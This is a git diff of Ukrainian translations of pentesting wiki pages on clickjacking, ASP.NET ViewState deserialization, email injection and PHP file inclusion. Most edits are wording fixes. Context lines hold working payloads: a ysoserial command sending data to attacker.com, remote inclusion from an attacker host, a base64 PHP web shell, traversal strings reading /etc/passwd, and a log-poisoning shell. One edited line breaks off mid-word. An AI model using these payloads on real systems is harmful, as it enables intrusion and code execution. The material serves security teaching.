Якщо вам потрібно, щоб користувач **заповнив форму**, але ви не хочете прямо просити його написати якусь конкретну інформацію (наприклад, електронну пошту або конкретний пароль, який ви знаєте), ви можете просто попросити його **Drag\&Drop** щось, що запише ваші контрольовані дані, як у [**цьому прикладі**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
Якщо вам потрібно, щоб користувач **заповнив форму**, але ви не хочете прямо просити його вказати якусь конкретну інформацію (таку як електронна пошта або конкретний пароль, який ви знаєте), ви можете просто попросити його **Drag\&Drop** щось, що запише ваші контрольовані дані, як у [**цьому прикладі**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
|
||||
### Основний Payload
|
||||
```markup
|
||||
@ -91,7 +91,7 @@ background: #F00;
|
||||
|
||||
Якщо ви виявили **атаку XSS, яка вимагає, щоб користувач натиснув** на якийсь елемент, щоб **запустити** XSS, і сторінка є **вразливою до clickjacking**, ви можете зловживати цим, щоб обманути користувача, змусивши його натиснути кнопку/посилання.\
|
||||
Приклад:\
|
||||
&#xNAN;_You виявили **самостійний XSS** у деяких приватних даних облікового запису (дані, які **тільки ви можете встановити та прочитати**). Сторінка з **формою** для встановлення цих даних є **вразливою** до **Clickjacking**, і ви можете **попередньо заповнити** **форму** з параметрами GET._\
|
||||
_You знайшли **самостійний XSS** у деяких приватних даних облікового запису (дані, які **тільки ви можете встановити та прочитати**). Сторінка з **формою** для встановлення цих даних є **вразливою** до **Clickjacking**, і ви можете **попередньо заповнити** **форму** з параметрами GET._\
|
||||
\_\_Зловмисник може підготувати **атаку Clickjacking** на цю сторінку, **попередньо заповнивши** **форму** з **payload XSS** і **обманюючи** **користувача** на **відправлення** форми. Отже, **коли форма буде відправлена** і значення будуть змінені, **користувач виконає XSS**.
|
||||
|
||||
## Стратегії для пом'якшення Clickjacking
|
||||
@ -128,7 +128,7 @@ sandbox="allow-forms allow-scripts"></iframe>
|
||||
- `X-Frame-Options: allow-from https://trusted.com` - Тільки вказаний 'uri' може обрамляти сторінку.
|
||||
- Зверніть увагу на обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери надають перевагу директиві CSP frame-ancestors.
|
||||
|
||||
#### Директива frame-ancestors політики безпеки контенту (CSP)
|
||||
#### Директива frame-ancestors у полі безпеки контенту (CSP)
|
||||
|
||||
**Директива `frame-ancestors` у CSP** є рекомендованим методом захисту від Clickjacking:
|
||||
|
||||
@ -136,11 +136,11 @@ sandbox="allow-forms allow-scripts"></iframe>
|
||||
- `frame-ancestors 'self'` - Схоже на `X-Frame-Options: sameorigin`.
|
||||
- `frame-ancestors trusted.com` - Схоже на `X-Frame-Options: allow-from`.
|
||||
|
||||
Наприклад, наступна CSP дозволяє обрамлення лише з того ж домену:
|
||||
Наприклад, наступний CSP дозволяє обрамлення лише з того ж домену:
|
||||
|
||||
`Content-Security-Policy: frame-ancestors 'self';`
|
||||
|
||||
Додаткові деталі та складні приклади можна знайти в [документації frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) та [документації Mozilla про frame-ancestors CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
|
||||
Додаткові деталі та складні приклади можна знайти в [документації frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) та [документації Mozilla щодо frame-ancestors CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
|
||||
|
||||
### Політика безпеки контенту (CSP) з `child-src` та `frame-src`
|
||||
|
||||
@ -167,7 +167,7 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
**Примітки щодо використання:**
|
||||
|
||||
- Відмова: child-src поступово замінюється на frame-src та worker-src.
|
||||
- Поведінка за замовчуванням: Якщо frame-src відсутній, child-src використовується як резервний варіант для фреймів. Якщо обидва відсутні, використовується default-src.
|
||||
- Поведінка за замовчуванням: Якщо frame-src відсутній, використовується child-src як запасний варіант для фреймів. Якщо обидва відсутні, використовується default-src.
|
||||
- Суворе визначення джерела: Включайте лише надійні джерела в директиви, щоб запобігти експлуатації.
|
||||
|
||||
#### JavaScript скрипти для зламу фреймів
|
||||
@ -180,7 +180,7 @@ top.location = self.location
|
||||
```
|
||||
#### Використання Anti-CSRF Токенів
|
||||
|
||||
- **Валідація Токенів:** Використовуйте anti-CSRF токени в веб-додатках, щоб забезпечити, що запити, що змінюють стан, здійснюються навмисно користувачем, а не через Clickjacked сторінку.
|
||||
- **Валідація Токенів:** Використовуйте anti-CSRF токени в веб-додатках, щоб забезпечити, що запити, які змінюють стан, виконуються навмисно користувачем, а не через Clickjacked сторінку.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
||||
@ -2,6 +2,8 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## Що таке ViewState
|
||||
|
||||
**ViewState** є стандартним механізмом в ASP.NET для збереження даних сторінки та контролю між веб-сторінками. Під час рендерингу HTML сторінки поточний стан сторінки та значення, які потрібно зберегти під час постбеку, серіалізуються в рядки, закодовані в base64. Ці рядки потім розміщуються в прихованих полях ViewState.
|
||||
@ -32,7 +34,7 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
**Ідентифікація атрибутів ViewState**
|
||||
|
||||
Ви можете спробувати визначити, чи захищений ViewState за допомогою MAC, захопивши запит, що містить цей параметр, за допомогою BurpSuite. Якщо Mac не використовується для захисту параметра, ви можете експлуатувати його, використовуючи [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
Ви можете спробувати визначити, чи захищений ViewState за допомогою MAC, захопивши запит, що містить цей параметр, за допомогою BurpSuite. Якщо MAC не використовується для захисту параметра, ви можете експлуатувати його, використовуючи [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
```
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||||
```
|
||||
@ -68,9 +70,9 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
||||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||||
--modifier : __VIWESTATEGENERATOR parameter value
|
||||
```
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) - це ще один інструмент, який може ідентифікувати відомі machineKeys. Він написаний на Python, тому, на відміну від Blacklist3r, немає залежності від Windows. Для .NET viewstates є утиліта "python blacklist3r", яка є найшвидшим способом її використання.
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) - це ще один інструмент, який може ідентифікувати відомі machineKeys. Він написаний на Python, тому, на відміну від Blacklist3r, немає залежності від Windows. Для .NET viewstates існує утиліта "python blacklist3r", яка є найшвидшим способом її використання.
|
||||
|
||||
Її можна постачати з viewstate та генератором безпосередньо:
|
||||
Її можна забезпечити viewstate та генератором безпосередньо:
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
@ -79,7 +81,7 @@ python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgX
|
||||
```
|
||||

|
||||
|
||||
Або він може безпосередньо підключитися до цільового URL і спробувати витягти viewstate з HTML:
|
||||
Або він може підключитися безпосередньо до цільового URL і спробувати витягти viewstate з HTML:
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
@ -136,9 +138,9 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
|
||||
--IISDirPath = {Directory path of website in IIS}
|
||||
--TargetPagePath = {Target page path in application}
|
||||
```
|
||||
Для більш детального опису для IISDirPath та TargetPagePath [перегляньте тут](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
Для більш детального опису для IISDirPath та TargetPagePath [зверніться сюди](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
Або з [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (з значенням генератора):
|
||||
Або, з [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (з значенням генератора):
|
||||
```bash
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||||
@ -157,7 +159,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
|
||||
### Тестовий випадок 6 – Використовується ViewStateUserKeys
|
||||
|
||||
Властивість **ViewStateUserKey** може бути використана для **захисту** від **CSRF-атаки**. Якщо такий ключ було визначено в додатку, і ми намагаємося згенерувати **ViewState** корисне навантаження за допомогою методів, обговорених до цього часу, **корисне навантаження не буде оброблено додатком**.\
|
||||
Властивість **ViewStateUserKey** може бути використана для **захисту** від **CSRF-атаки**. Якщо такий ключ було визначено в додатку і ми намагаємося згенерувати **ViewState** корисне навантаження за допомогою методів, обговорених до цього часу, **корисне навантаження не буде оброблено додатком**.\
|
||||
Вам потрібно використовувати ще один параметр, щоб правильно створити корисне навантаження:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
@ -171,10 +173,8 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
## Посилання
|
||||
|
||||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Впровадження в надісланому електронному листі
|
||||
## Впровадження в надіслане електронне повідомлення
|
||||
|
||||
### Впровадження Cc та Bcc після аргументу відправника
|
||||
```
|
||||
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
||||
```
|
||||
Повідомлення буде надіслано на облікові записи отримувача та recipient1.
|
||||
Повідомлення буде надіслано на облікові записи отримувача та отримувача1.
|
||||
|
||||
### Впровадження аргументу
|
||||
```
|
||||
@ -28,7 +28,7 @@ From:sender@domain.com%0ASubject:This is%20Fake%20Subject
|
||||
```
|
||||
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
||||
```
|
||||
### Експлуатація функції PHP mail()
|
||||
### Експлуатація функції mail() PHP
|
||||
```bash
|
||||
# The function has the following definition:
|
||||
|
||||
@ -48,7 +48,7 @@ Parameter #4 [ <optional> $additional_parameters ]
|
||||
|
||||
Цей розділ буде базуватися на **тому, як зловживати цим параметром, припускаючи, що зловмисник контролює його**.
|
||||
|
||||
Цей параметр буде додано до командного рядка, який PHP використовуватиме для виклику бінарного файлу sendmail. Однак він буде очищений за допомогою функції `escapeshellcmd($additional_parameters)`.
|
||||
Цей параметр буде додано до командного рядка, який PHP буде використовувати для виклику бінарного файлу sendmail. Однак він буде очищений за допомогою функції `escapeshellcmd($additional_parameters)`.
|
||||
|
||||
Зловмисник може **впроваджувати додаткові параметри для sendmail** в цьому випадку.
|
||||
|
||||
@ -67,11 +67,11 @@ Parameter #4 [ <optional> $additional_parameters ]
|
||||
## Впровадження в ім'я електронної пошти
|
||||
|
||||
> [!CAUTION]
|
||||
> Зверніть увагу, що якщо вам вдасться створити обліковий запис у сервісі з довільним доменним ім'ям (як-от Github, Gitlab, CloudFlare Zero trust...) і підтвердити його, отримавши електронний лист для підтвердження на вашу адресу електронної пошти, ви можете отримати доступ до чутливих місць компанії-жертви.
|
||||
> Зверніть увагу, що якщо вам вдасться створити обліковий запис у сервісі з довільним доменним ім'ям (як-от Github, Gitlab, CloudFlare Zero trust...) і підтвердити його, отримавши електронний лист для підтвердження на вашу адресу електронної пошти, ви можете отримати доступ до чутливих місць компанії жертви.
|
||||
|
||||
### Ігноровані частини електронної пошти
|
||||
|
||||
Символи: **+, -** та **{}** у рідкісних випадках можуть використовуватися для тегування та ігноруються більшістю серверів електронної пошти.
|
||||
Символи: **+, -** та **{}** у рідкісних випадках можуть використовуватися для тегування та ігноруються більшістю поштових серверів.
|
||||
|
||||
- Наприклад, john.doe+intigriti@example.com → john.doe@example.com
|
||||
|
||||
@ -98,12 +98,12 @@ Parameter #4 [ <optional> $additional_parameters ]
|
||||
|
||||
Як пояснено в [**цьому дослідженні**](https://portswigger.net/research/splitting-the-email-atom), імена електронної пошти також можуть містити закодовані символи:
|
||||
|
||||
- **PHP 256 переповнення**: Функція PHP `chr` буде продовжувати додавати 256 до символу, поки він не стане позитивним, а потім виконати операцію `%256`.
|
||||
- **PHP 256 переповнення**: функція PHP `chr` буде продовжувати додавати 256 до символу, поки він не стане позитивним, а потім виконати операцію `%256`.
|
||||
- `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
|
||||
|
||||
> [!TIP]
|
||||
> Мета цього трюку полягає в тому, щоб закінчити з впровадженням на кшталт `RCPT TO:<"collab@psres.net>collab"@example.com>`\
|
||||
> що надішле електронний лист для підтвердження на іншу адресу електронної пошти, відмінну від очікуваної (отже, щоб ввести іншу адресу електронної пошти всередині імені електронної пошти та зламати синтаксис під час надсилання електронної пошти).
|
||||
> Мета цього трюку полягає в тому, щоб закінчити з впровадженням, як-от `RCPT TO:<"collab@psres.net>collab"@example.com>`\
|
||||
> що надішле електронний лист для підтвердження на іншу адресу електронної пошти, відмінну від очікуваної (отже, щоб ввести іншу адресу електронної пошти всередині імені електронної пошти та зламати синтаксис при надсиланні електронної пошти).
|
||||
|
||||
Різні кодування:
|
||||
```bash
|
||||
@ -138,18 +138,18 @@ Payloads:
|
||||
|
||||
- Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
|
||||
- Зверніть увагу на закодований `@` як =40, закодований `>` як `=3e` і `null` як `=00` 
|
||||
- Він надішле електронний лист для підтвердження на `collab@psres.net`
|
||||
- Це надішле електронний лист для підтвердження на `collab@psres.net`
|
||||
- Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
|
||||
- Та ж сама хитрість, але з додаванням звичайної лапки на початку та закодованої лапки `=22` перед закодованим `@`, а потім відкриттям і закриттям деяких лапок перед наступною електронною адресою, щоб виправити синтаксис, що використовується всередині Zendesk
|
||||
- Він надішле електронний лист для підтвердження на `collab@psres.net`
|
||||
- Та ж сама хитрість, але з додаванням звичайної лапки на початку та закодованої лапки `=22` перед закодованим `@`, а потім відкриттям і закриттям лапок перед наступною електронною адресою, щоб виправити синтаксис, що використовується всередині Zendesk
|
||||
- Це надішле електронний лист для підтвердження на `collab@psres.net`
|
||||
- Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
|
||||
- Зверніть увагу на використання підкреслення як пробілу для розділення адреси
|
||||
- Він надішле електронний лист для підтвердження на `collab@psres.net`
|
||||
- Punycode: Використовуючи Punycode, було можливо вставити тег `<style` в Joomla і зловживати ним для викрадення токена CSRF через ексфільтрацію CSS.
|
||||
- Це надішле електронний лист для підтвердження на `collab@psres.net`
|
||||
- Punycode: Використовуючи Punycode, було можливо впровадити тег `<style` в Joomla і зловживати ним для викрадення токена CSRF через ексфільтрацію CSS.
|
||||
|
||||
#### Tooling
|
||||
|
||||
- Є **скрипт Burp Suite Turbo Intruder**, щоб протестувати ці комбінації для спроби атаки на формати електронної пошти. Скрипт вже має потенційно робочі комбінації.
|
||||
- Є **скрипт Burp Suite Turbo Intruder**, щоб перевірити ці комбінації для спроби атаки на формати електронної пошти. Скрипт вже має потенційно робочі комбінації.
|
||||
- Також можливо використовувати [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) для створення атаки на розділення електронної пошти
|
||||
|
||||
### Other vulns
|
||||
@ -165,7 +165,7 @@ Payloads:
|
||||
### Account-Takeover
|
||||
|
||||
Якщо **SSO сервіс** дозволяє вам **створити обліковий запис без перевірки наданої електронної адреси** (як **salesforce**) і потім ви можете використовувати цей обліковий запис для **входу в інший сервіс**, який **довіряє** salesforce, ви можете отримати доступ до будь-якого облікового запису.\
|
||||
&#xNAN;_Note, що salesforce вказує, чи була надана електронна адреса перевірена, але так само програма повинна враховувати цю інформацію._
|
||||
_Note, що salesforce вказує, чи була надана електронна адреса перевірена, але так само програма повинна враховувати цю інформацію._
|
||||
|
||||
## Reply-To
|
||||
|
||||
@ -173,9 +173,9 @@ Payloads:
|
||||
|
||||
## Hard Bounce Rate
|
||||
|
||||
Деякі сервіси, такі як AWS, реалізують поріг, відомий як **Hard Bounce Rate**, зазвичай встановлений на 10%. Це критичний показник, особливо для сервісів доставки електронної пошти. Коли цей показник перевищується, сервіс, такий як електронна пошта AWS, може бути призупинений або заблокований.
|
||||
Деякі сервіси, такі як AWS, реалізують поріг, відомий як **Hard Bounce Rate**, зазвичай встановлений на 10%. Це критичний показник, особливо для служб доставки електронної пошти. Коли цей показник перевищується, служба, така як служба електронної пошти AWS, може бути призупинена або заблокована.
|
||||
|
||||
**Hard bounce** відноситься до **електронного листа**, який був повернутий відправнику, оскільки адреса отримувача є недійсною або неіснуючою. Це може статися з різних причин, таких як **електронна пошта**, надіслана на неіснуючу адресу, домен, який не є реальним, або відмова сервера отримувача приймати **електронні листи**.
|
||||
**Hard bounce** відноситься до **електронного листа**, який був повернутий відправнику, оскільки адреса отримувача є недійсною або неіснуючою. Це може статися з різних причин, таких як **електронний лист**, надісланий на неіснуючу адресу, домен, який не є реальним, або відмова сервера отримувача приймати **електронні листи**.
|
||||
|
||||
У контексті AWS, якщо ви надсилаєте 1000 електронних листів і 100 з них призводять до hard bounces (через причини, такі як недійсні адреси або домени), це означає, що показник hard bounce становить 10%. Досягнення або перевищення цього показника може призвести до блокування або призупинення можливостей надсилання електронної пошти AWS SES (Simple Email Service).
|
||||
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
**Віддалене включення файлів (RFI):** Файл завантажується з віддаленого сервера (Найкраще: Ви можете написати код, і сервер його виконає). У php це **вимкнено** за замовчуванням (**allow_url_include**).\
|
||||
**Локальне включення файлів (LFI):** Сервер завантажує локальний файл.
|
||||
|
||||
Вразливість виникає, коли користувач може контролювати якимось чином файл, який буде завантажено сервером.
|
||||
Вразливість виникає, коли користувач може якимось чином контролювати файл, який буде завантажено сервером.
|
||||
|
||||
Вразливі **PHP функції**: require, require_once, include, include_once
|
||||
|
||||
@ -49,7 +49,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
|
||||
## Основний LFI та обходи
|
||||
|
||||
Усі приклади стосуються Local File Inclusion, але можуть бути застосовані також до Remote File Inclusion (сторінка=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Усі приклади стосуються Local File Inclusion, але можуть бути застосовані і до Remote File Inclusion (сторінка=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -69,7 +69,7 @@ http://example.com/index.php?page=../../../etc/passwd%00
|
||||
|
||||
### **Кодування**
|
||||
|
||||
Ви можете використовувати нестандартні кодування, такі як подвоєне кодування URL (та інші):
|
||||
Ви можете використовувати нестандартні кодування, такі як подвійне кодування URL (та інші):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
@ -82,11 +82,11 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Дослідження директорій файлової системи на сервері
|
||||
### Дослідження каталогів файлової системи на сервері
|
||||
|
||||
Файлова система сервера може бути досліджена рекурсивно для виявлення директорій, а не лише файлів, шляхом використання певних технік. Цей процес включає визначення глибини директорії та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього:
|
||||
Файлова система сервера може бути досліджена рекурсивно для виявлення каталогів, а не лише файлів, шляхом використання певних технік. Цей процес включає визначення глибини каталогу та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього:
|
||||
|
||||
1. **Визначте глибину директорії:** Визначте глибину вашої поточної директорії, успішно отримавши файл `/etc/passwd` (застосовується, якщо сервер на базі Linux). Приклад URL може бути структурований наступним чином, вказуючи на глибину три:
|
||||
1. **Визначте глибину каталогу:** Визначте глибину вашого поточного каталогу, успішно отримавши файл `/etc/passwd` (застосовується, якщо сервер на базі Linux). Приклад URL може бути структурований наступним чином, вказуючи на глибину три:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
@ -97,7 +97,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
||||
3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка:
|
||||
- **Помилка / Немає виходу:** Папка `private`, ймовірно, не існує за вказаним місцем.
|
||||
- **Вміст `/etc/passwd`:** Наявність папки `private` підтверджена.
|
||||
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевірити на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI).
|
||||
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI).
|
||||
|
||||
Для дослідження каталогів у різних місцях файлової системи відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог на глибині 3), використовуйте:
|
||||
```bash
|
||||
@ -126,14 +126,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
У цих сценаріях кількість необхідних переходів може становити близько 2027, але це число може змінюватися в залежності від конфігурації сервера.
|
||||
|
||||
- **Використання крапкових сегментів та додаткових символів**: Послідовності переходів (`../`), поєднані з додатковими крапковими сегментами та символами, можуть бути використані для навігації по файловій системі, ефективно ігноруючи додані рядки сервером.
|
||||
- **Визначення необхідної кількості переходів**: Через проби та помилки можна знайти точну кількість послідовностей `../`, необхідних для навігації до кореневої директорії, а потім до `/etc/passwd`, забезпечуючи нейтралізацію будь-яких доданих рядків (як-от `.php`), але залишаючи бажаний шлях (`/etc/passwd`) незмінним.
|
||||
- **Початок з фейкової директорії**: Це поширена практика починати шлях з неіснуючої директорії (як-от `a/`). Ця техніка використовується як запобіжний захід або для виконання вимог логіки парсингу шляхів сервера.
|
||||
|
||||
При використанні технік скорочення шляхів важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідно тестування, щоб знайти найбільш ефективний метод.
|
||||
|
||||
**Цю вразливість було виправлено в PHP 5.3.**
|
||||
|
||||
### **Трюки обходу фільтрів**
|
||||
- **Визначення необхідної кількості переходів**: Через проби та помилки можна знайти точну кількість послідовностей `../`, необхідних для навігації до кореневої директорії, а пот
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -153,7 +146,7 @@ http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!NOTE]
|
||||
> У попередньому коді фінальний `+.txt` був доданий, оскільки атакуючий потребував рядка, який закінчувався на `.txt`, тому рядок закінчується на ньому, і після декодування b64 ця частина поверне просто сміття, а реальний PHP код буде включено (і, отже, виконано).
|
||||
> У попередньому коді фінальний `+.txt` був доданий, оскільки атакуючий потребував рядка, який закінчувався на `.txt`, тому рядок закінчується на ньому, а після декодування b64 ця частина поверне просто сміття, і реальний PHP код буде включений (і, отже, виконаний).
|
||||
|
||||
Інший приклад **без використання протоколу `php://`** буде:
|
||||
```
|
||||
@ -181,7 +174,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
|
||||
## Топ 25 параметрів
|
||||
|
||||
Ось список з 25 найкращих параметрів, які можуть бути вразливими до вразливостей локального включення файлів (LFI) (з [посилання](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Ось список з 25 найпоширеніших параметрів, які можуть бути вразливими до локальних вразливостей включення файлів (LFI) (з [посилання](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -269,11 +262,11 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> Частина "php://filter" не чутлива до регістру
|
||||
> Частина "php://filter" нечутлива до регістру
|
||||
|
||||
### Використання фільтрів php як оракула для читання довільних файлів
|
||||
### Використання php фільтрів як оракула для читання довільних файлів
|
||||
|
||||
[**У цьому пості**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) пропонується техніка для читання локального файлу без отримання виходу від сервера. Ця техніка базується на **булевій ексфільтрації файлу (символ за символом) з використанням фільтрів php** як оракула. Це пов'язано з тим, що фільтри php можуть бути використані для збільшення тексту настільки, щоб php викликав виключення.
|
||||
[**У цьому пості**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) пропонується техніка для читання локального файлу без отримання виходу від сервера. Ця техніка базується на **булевій ексфільтрації файлу (символ за символом) з використанням php фільтрів** як оракула. Це пов'язано з тим, що php фільтри можуть бути використані для збільшення тексту настільки, щоб php викликав виключення.
|
||||
|
||||
У оригінальному пості ви можете знайти детальне пояснення техніки, але ось швидкий підсумок:
|
||||
|
||||
@ -378,7 +371,7 @@ phar-deserialization.md
|
||||
|
||||
Перевірте більше можливих [**протоколів для включення тут**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис в пам'ять або в тимчасовий файл (не впевнений, як це може бути корисно в атаці на включення файлів)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам'ять або у тимчасовий файл (не впевнений, як це може бути корисно в атаці на включення файлів)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL
|
||||
@ -395,7 +388,7 @@ phar-deserialization.md
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Хоча це має на меті зупинити перетворення, це ненавмисно створює вектор для ін'єкції коду. Щоб використати це для читання вмісту файлів, зловмисник може використовувати:
|
||||
Хоча це має на меті зупинити обходи, це ненавмисно створює вектор для ін'єкції коду. Щоб використати це для читання вмісту файлів, зловмисник може використовувати:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -408,7 +401,7 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Ця техніка актуальна в випадках, коли ви **контролюєте** **шлях до файлу** функції **PHP**, яка **доступається до файлу**, але ви не побачите вміст файлу (як простий виклик **`file()`**), але вміст не відображається.
|
||||
> Ця техніка актуальна в випадках, коли ви **контролюєте** **шлях до файлу** функції **PHP**, яка **доступає до файлу**, але ви не побачите вміст файлу (як простий виклик **`file()`**), але вміст не відображається.
|
||||
|
||||
У [**цьому неймовірному пості**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) пояснюється, як сліпий перехід по шляху може бути зловжито через фільтр PHP для **екстракції вмісту файлу через помилковий оракул**.
|
||||
|
||||
@ -428,14 +421,14 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
|
||||
### Через файл журналу Apache/Nginx
|
||||
|
||||
Якщо сервер Apache або Nginx **вразливий до LFI**, всередині функції включення ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, встановивши в **user agent** або в **GET параметрі** php shell, наприклад, **`<?php system($_GET['c']); ?>`** і включити цей файл.
|
||||
